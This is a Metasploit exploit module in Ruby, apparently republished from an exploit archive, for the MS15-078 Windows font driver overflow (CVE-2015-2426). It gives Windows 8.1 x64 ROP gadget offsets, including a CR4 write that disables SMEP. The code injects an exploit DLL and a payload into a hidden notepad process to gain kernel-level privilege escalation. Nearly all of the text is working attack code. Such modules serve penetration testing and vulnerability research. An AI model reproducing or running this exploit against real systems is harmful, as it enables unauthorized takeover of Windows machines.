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MS15-078 Microsoft Windows Font Driver Buffer Overflow

Posted on 17 September 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
 Rank = ManualRanking

 WIN32K_VERSIONS = [
 '6.3.9600.17393',
 '6.3.9600.17630',
 '6.3.9600.17694',
 '6.3.9600.17796',
 '6.3.9600.17837',
 '6.3.9600.17915'
 ]

 NT_VERSIONS = [
 '6.3.9600.17415',
 '6.3.9600.17630',
 '6.3.9600.17668',
 '6.3.9600.17936'
 ]

 include Msf::Post::File
 include Msf::Post::Windows::Priv
 include Msf::Post::Windows::Process
 include Msf::Post::Windows::FileInfo
 include Msf::Post::Windows::ReflectiveDLLInjection

 def initialize(info={})
 super(update_info(info, {
 'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow',
 'Description' => %q{
 This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing
 a malformed font. The vulnerability was exploited by the hacking team and disclosed on
 the july data leak. This module has been tested successfully on vulnerable builds of
 Windows 8.1 x64.
 },
 'License' => MSF_LICENSE,
 'Author' => [
 'Eugene Ching', # vulnerability discovery and exploit
 'Mateusz Jurczyk', # vulnerability discovery
 'Cedric Halbronn', # vulnerability and exploit analysis
 'juan vazquez' # msf module
 ],
 'Arch' => ARCH_X86_64,
 'Platform' => 'win',
 'SessionTypes' => [ 'meterpreter' ],
 'DefaultOptions' => {
 'EXITFUNC' => 'thread',
 },
 'Targets' => [
 [ 'Windows 8.1 x64', { } ]
 ],
 'Payload' => {
 'Space' => 4096,
 'DisableNops' => true
 },
 'References' => [
 ['CVE', '2015-2426'],
 ['CVE', '2015-2433'],
 ['MSB', 'MS15-078'],
 ['MSB', 'MS15-080'],
 ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'],
 ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'],
 ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'],
 ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480']
 ],
 'DisclosureDate' => 'Jul 11 2015',
 'DefaultTarget' => 0
 }))
 end

 def patch_win32k_offsets(dll)
 @win32k_offsets.each do |k, v|
 case k
 when 'info_leak'
 dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<'))
 when 'pop_rax_ret'
 dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<'))
 when 'xchg_rax_rsp'
 dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<'))
 when 'allocate_pool'
 dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<'))
 when 'pop_rcx_ret'
 dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<'))
 when 'deref_rax_into_rcx'
 dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<'))
 when 'mov_rax_into_rcx'
 dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<'))
 when 'pop_rbx_ret'
 dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<'))
 when 'ret'
 dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<'))
 when 'mov_rax_r11_ret'
 dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<'))
 when 'add_rax_rcx_ret'
 dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<'))
 when 'pop_rsp_ret'
 dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<'))
 when 'xchg_rax_rsp_adjust'
 dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<'))
 when 'chwnd_delete'
 dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<'))
 end
 end
 end

 def set_win32k_offsets
 @win32k_offsets ||= Proc.new do |version|
 case version
 when '6.3.9600.17393'
 {
 'info_leak' => 0x3cf00,
 'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3
 'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3
 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag
 'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3
 'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
 'mov_rax_into_rcx' => 0xc4332, # mov [rcx], rax # ret # 48 89 01 C3
 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3
 'ret' => 0x6e314, # ret C3
 'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3
 'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3
 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3
 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3
 'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete
 }
 when '6.3.9600.17630'
 {
 'info_leak' => 0x3d200,
 'pop_rax_ret' => 0x19e9b, # pop rax # ret # 58 C3
 'xchg_rax_rsp' => 0x6024, # xchg eax, esp # ret # 94 C3
 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
 'pop_rcx_ret' => 0x84f4f, # pop rcx # ret # 59 C3
 'deref_rax_into_rcx' => 0xc3f7f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
 'mov_rax_into_rcx' => 0xc3f82, # mov [rcx], rax # ret # 48 89 01 C3
 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3
 'ret' => 0x14dc, # ret C3
 'mov_rax_r11_ret' => 0x7034e, # mov rax, r11 # ret # 49 8B C3 C3
 'add_rax_rcx_ret' => 0xed33b, # add rax, rcx # ret # 48 03 C1 C3
 'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3
 'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
 'chwnd_delete' => 0x146EE0 # CHwndTargetProp::Delete
 }
 when '6.3.9600.17694'
 {
 'info_leak' => 0x3d300,
 'pop_rax_ret' => 0x151f4, # pop rax # ret # 58 C3
 'xchg_rax_rsp' => 0x600c, # xchg eax, esp # ret # 94 C3
 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
 'pop_rcx_ret' => 0x2cf10, # pop rcx # ret # 59 C3
 'deref_rax_into_rcx' => 0xc3757, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
 'mov_rax_into_rcx' => 0xc375a, # mov [rcx], rax # ret # 48 89 01 C3
 'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3
 'ret' => 0x6683, # ret C3
 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3
 'add_rax_rcx_ret' => 0xecd7b, # add rax, rcx # ret # 48 03 C1 C3
 'pop_rsp_ret' => 0x71380, # pop rsp # ret # 5c c3
 'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
 'chwnd_delete' => 0x1513D8 # CHwndTargetProp::Delete
 }
 when '6.3.9600.17796'
 {
 'info_leak' => 0x3d000,
 'pop_rax_ret' => 0x19e4f, # pop rax # ret # 58 C3
 'xchg_rax_rsp' => 0x5f64, # xchg eax, esp # ret # 94 C3
 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag
 'pop_rcx_ret' => 0x97a5e, # pop rcx # ret # 59 C3
 'deref_rax_into_rcx' => 0xc3aa7, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
 'mov_rax_into_rcx' => 0xc3aaa, # mov [rcx], rax # ret # 48 89 01 C3
 'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3
 'ret' => 0x1B21, # ret C3
 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3
 'add_rax_rcx_ret' => 0xecf8b, # add rax, rcx # ret # 48 03 C1 C3
 'pop_rsp_ret' => 0x29fd3, # pop rsp # ret # 5c c3
 'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
 'chwnd_delete' => 0x150F58 # CHwndTargetProp::Delete

 }
 when '6.3.9600.17837'
 {
 'info_leak' => 0x3d800,
 'pop_rax_ret' => 0x1a51f, # pop rax # ret # 58 C3
 'xchg_rax_rsp' => 0x62b4, # xchg eax, esp # ret # 94 C3
 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
 'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3
 'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
 'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3
 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3
 'ret' => 0x14dc, # ret C3
 'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3
 'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3
 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3
 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
 'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete
 }
 when '6.3.9600.17915'
 {
 'info_leak' => 0x3d800,
 'pop_rax_ret' => 0x1A4EF, # pop rax # ret # 58 C3
 'xchg_rax_rsp' => 0x62CC, # xchg eax, esp # ret # 94 C3
 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
 'pop_rcx_ret' => 0x9765A, # pop rcx # ret # 59 C3
 'deref_rax_into_rcx' => 0xC364F, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
 'mov_rax_into_rcx' => 0xC3652, # mov [rcx], rax # ret # 48 89 01 C3
 'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3
 'ret' => 0x14DC, # ret # C3
 'mov_rax_r11_ret' => 0x7060e, # mov rax, r11 # ret # 49 8B C3 C3
 'add_rax_rcx_ret' => 0xECDCB, # add rax, rcx # 48 03 C1 C3
 'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3
 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
 'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete
 }
 else
 nil
 end
 end.call(@win32k)
 end

 def patch_nt_offsets(dll)
 @nt_offsets.each do |k, v|
 case k
 when 'set_cr4'
 dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<'))
 when 'allocate_pool_with_tag'
 dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<'))
 end
 end
 end

 def set_nt_offsets
 @nt_offsets ||= Proc.new do |version|
 case version
 when '6.3.9600.17415'
 {
 'set_cr4' => 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
 'allocate_pool_with_tag' => 0x2a3a50 # ExAllocatePoolWithTag
 }
 when '6.3.9600.17630'
 {
 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag
 }
 when '6.3.9600.17668'
 {
 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag
 }
 when '6.3.9600.17936'
 {
 'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
 'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag
 }
 else
 nil
 end
 end.call(@ntoskrnl)
 end

 def atmfd_version
 file_path = expand_path('%windir%') << '\system32\atmfd.dll'
 major, minor, build, revision, branch = file_version(file_path)
 return nil if major.nil?
 ver = "#{major}.#{minor}.#{build}.#{revision}"
 vprint_status("atmfd.dll file version: #{ver} branch: #{branch}")

 ver
 end

 def win32k_version
 file_path = expand_path('%windir%') << '\system32\win32k.sys'
 major, minor, build, revision, branch = file_version(file_path)
 return nil if major.nil?
 ver = "#{major}.#{minor}.#{build}.#{revision}"
 vprint_status("win32k.sys file version: #{ver} branch: #{branch}")

 ver
 end

 def ntoskrnl_version
 file_path = expand_path('%windir%') << '\system32\ntoskrnl.exe'
 major, minor, build, revision, branch = file_version(file_path)
 return nil if major.nil?
 ver = "#{major}.#{minor}.#{build}.#{revision}"
 vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}")

 ver
 end

 def check
 # We have tested only windows 8.1
 if sysinfo['OS'] !~ /Windows 8/i
 return Exploit::CheckCode::Unknown
 end

 # We have tested only 64 bits
 if sysinfo['Architecture'] !~ /(wow|x)64/i
 return Exploit::CheckCode::Unknown
 end

 atmfd = atmfd_version
 # atmfd 5.1.2.238 => Works
 unless atmfd && Gem::Version.new(atmfd) <= Gem::Version.new('5.1.2.243')
 return Exploit::CheckCode::Safe
 end

 # win32k.sys 6.3.9600.17393 => Works
 @win32k = win32k_version

 unless @win32k && WIN32K_VERSIONS.include?(@win32k)
 return Exploit::CheckCode::Detected
 end

 # ntoskrnl.exe 6.3.9600.17415 => Works
 @ntoskrnl = ntoskrnl_version

 unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl)
 return Exploit::CheckCode::Unknown
 end

 Exploit::CheckCode::Appears
 end

 def exploit
 print_status('Checking target...')
 if is_system?
 fail_with(Failure::None, 'Session is already elevated')
 end

 check_result = check
 if check_result == Exploit::CheckCode::Safe
 fail_with(Failure::NotVulnerable, 'Target not vulnerable')
 end

 if check_result == Exploit::CheckCode::Unknown
 fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
 end

 if check_result == Exploit::CheckCode::Detected
 fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k')
 end

 unless get_target_arch == ARCH_X86_64
 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
 end

 print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...")

 set_win32k_offsets
 fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil?

 set_nt_offsets
 fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil?

 begin
 print_status('Launching notepad to host the exploit...')
 notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
 process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
 print_good("Process #{process.pid} launched.")
 rescue Rex::Post::Meterpreter::RequestError
 # Sandboxes could not allow to create a new process
 # stdapi_sys_process_execute: Operation failed: Access is denied.
 print_status('Operation failed. Trying to elevate the current process...')
 process = client.sys.process.open
 end

 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll')
 library_path = ::File.expand_path(library_path)

 print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
 dll = ''
 ::File.open(library_path, 'rb') { |f| dll = f.read }

 patch_win32k_offsets(dll)
 patch_nt_offsets(dll)

 exploit_mem, offset = inject_dll_data_into_process(process, dll)

 print_status("Exploit injected. Injecting payload into #{process.pid}...")
 payload_mem = inject_into_process(process, payload.encoded)

 # invoke the exploit, passing in the address of the payload that
 # we want invoked on successful exploitation.
 print_status('Payload injected. Executing exploit...')
 process.thread.create(exploit_mem + offset, payload_mem)

 print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
 end

end

 

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